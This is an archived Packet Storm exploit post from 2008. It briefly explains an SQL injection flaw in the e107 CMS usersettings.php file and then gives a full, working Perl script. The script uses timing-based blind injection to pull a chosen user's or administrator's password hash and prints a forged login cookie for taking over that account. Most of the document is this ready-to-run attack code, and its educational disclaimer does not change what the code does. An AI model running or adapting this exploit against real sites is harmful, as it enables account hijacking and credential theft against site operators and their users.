e1070713-blindsql.txt

2008-10-20T00:00:00
ID PACKETSTORM:71059
Type packetstorm
Reporter __GiReX__
Modified 2008-10-20T00:00:00

Description

                                        
                                            `# Author: __GiReX__   
# Homepage: http://girex.altervista.org  
# Date: 19/10/2008  
  
# CMS: e107  
# URL: http://e107.org/  
  
# Note: Works regardless of php.ini settings (magic_quotes, register_globals..)  
  
# Attenction: This exploit was written for educational purpose.   
# Use it at your own risk. Author will be not responsible for any damage.  
  
  
# Description: e107 is a content management system written in PHP   
# and using the popular open source MySQL database system for content storage.   
# It's completely free, totally customisable and in constant development.  
  
  
# Bug description:  
# e107 presents a vuln in userssettings.php (line 363-395), a POST array ($_POST['ue'])  
# goes into an update query, it cleans the values of this array but not the keys name...  
  
# File: usersettings.php (line 363-395)  
if($_POST['ue'])  
...  
foreach($_POST['ue'] as $key => $val)  
$err = $ue->user_extended_validate_entry($val,$extList[$key]);  
if(!$err)  
$val = $tp->toDB($val); <== Cleans values  
$ue_fields .= $key."='".$val."'"; <== Here our $_POST['ue'] keys and values  
}  
}  
...  
# Lines: 496-500   
  
if($ue_fields)  
{  
// ***** Next line creates a record which presumably should be there anyway, so could generate an error  
$sql->db_Select_gen("INSERT INTO #user_extended (user_extended_id, user_hidden_fields) values ('".intval($inp)."', '')");  
$sql->db_Update("user_extended", $ue_fields." WHERE user_extended_id = '".intval($inp)."'"); <== Here vulnearable query  
}  
  
# As you can see the return value of the update query isn't checked so we have to use a blind benchmark() method  
  
  
  
#!/usr/bin/perl   
# e107 <= 0.7.13 Blind SQL Injection Exploit  
# Admin/User's Password Retrieve Exploit  
# Works regardless of php.ini settings  
# Coded by __GiReX__  
  
use POSIX;  
use LWP::UserAgent;  
use HTTP::Cookies;  
use Digest::MD5 qw(md5 md5_hex md5_base64);   
  
if(@ARGV < 4)  
{  
banner();  
print "[+] You need an user account to run this exploit\n\n";  
print "[+] Usage: perl $0 <host> <path> <your_username> <your_pass> <victim_id>\n";  
print "[+] Example: perl $0 localhost /e107/ test password 1\n";  
exit;  
}  
  
my $target = ($ARGV[0] =~ /^http:\/\//) ? $ARGV[0].$ARGV[1]: 'http://' . $ARGV[0].$ARGV[1];  
my ($user, $pass, $id) = ($ARGV[2], $ARGV[3], ($ARGV[4]) ? $ARGV[4] : 1);  
  
my $lwp = new LWP::UserAgent or die;  
my $cookie_jar = new HTTP::Cookies or die;  
$lwp->cookie_jar( $cookie_jar );  
  
my @cset = (48..57, 97..102);   
  
my $benchmark = 1000000;  
my $prefix = "e107";   
my $hash = "";  
  
banner();  
try_login($user, $pass) or die "[-] Unable to login with $user and $pass\n";  
  
syswrite(STDOUT, "[+] Logged in with your account..\n".  
"[+] Checking database delay, please wait..\n\n" );  
  
$ndelay = check_bench("1=0");  
print STDOUT "[+] Normal delay: $ndelay\n";  
  
$bdelay = check_bench("1=1");  
print STDOUT "[+] Benchmark delay: $bdelay\n\n";   
  
if($bdelay - $ndelay < 4)  
{  
print STDOUT "[-] Benchmarck delay too small compared to normal delay, increase it.\n";  
exit ();  
}  
  
  
for(my $j = 1; $j <= 32; $j++)  
{   
foreach $char(@cset)  
{   
info(chr($char), $hash, "password");  
  
my ($pre_time, $post_time) = time();  
$rv = check_char($char, $j, "user_password");   
$post_time = time();  
  
if($rv and ($post_time - $pre_time) > ($ndelay + 3))  
{   
$hash .= chr($char);  
last;  
}  
}  
  
last if $j != length($hash);  
}   
  
if(not defined $hash or length($hash) != 32)  
{  
print STDOUT "\n\n[-] Exploit mistake: please re-check benchmark\n";  
exit;  
}  
else  
{  
print STDOUT "\n\n[+] You can try to login with this cookie:\n";  
print STDOUT "[+] Cookie: ${cookie_prefix}cookie=${id}.". md5_hex($hash)."\n";  
}  
  
sub try_login  
{  
my ($user, $pass) = @_;   
  
my $res = $lwp->post( $target.'news.php' ,   
  
[ 'username' => $user,  
'userpass' => $pass,  
'userlogin' => 'Login',  
'autologin' => '1' ] );  
  
if($res->status_line =~ /^302|200|301/ or $res->is_success)  
{  
if($res->as_string =~ /Set-Cookie: (.+)cookie/)  
{  
$cookie_prefix = $1;  
return 1;  
}  
  
return undef;  
}  
  
die ("[-] Unable to request ${target}news.php ".$res->status_line."\n");  
}  
  
sub info  
{  
my($c, $cur, $str) = @_;  
  
$cur = '' unless defined $cur;  
print STDOUT "[+] Victim ${str}: ${cur}${c}\r";  
  
$| = 1;   
}  
  
sub check_bench  
{  
my $true = shift;  
my $delay = 0;  
  
my $sql = "user_hidden_fields=99 AND CASE WHEN(${true}) THEN benchmark(${benchmark}, MD5(1)) END#";  
  
for(1..3)  
{  
my ($pre_time, $post_time) = time();   
  
my $res = $lwp->post( $target.'usersettings.php',  
[ 'email' => 'damn@email.com',  
'updatesettings' => 'Save Settings',  
"ue[${sql}]" => 'damn' ]);   
$post_time = time();   
  
$delay += int($post_time - $pre_time);  
}  
  
return ceil($delay / 3);  
}  
  
sub check_char  
{  
my ($char, $n, $field) = @_ ;  
$rand = int($char + $n);  
  
my $sql = "user_hidden_fields=${rand} AND CASE WHEN(SELECT ASCII(SUBSTRING(${field},${n},1)) ".  
"FROM ${prefix}_user WHERE user_id=${id})=${char} THEN benchmark(${benchmark}, MD5(1)) END#";  
  
my $res = $lwp->post( $target.'usersettings.php',  
[ 'email' => 'damn@email.com',  
'updatesettings' => 'Save Settings',  
"ue[${sql}]" => 'damn' ]);   
  
return $res->is_success;  
}  
  
sub banner  
{  
print "\n";  
print "[+] e107 <= 0.7.13 Blind SQL Injection\n";  
print "[+] Admin/User's Password Retrieve Exploit\n";  
print "[+] Coded by __GiReX__\n";  
print "\n";  
}  
  
`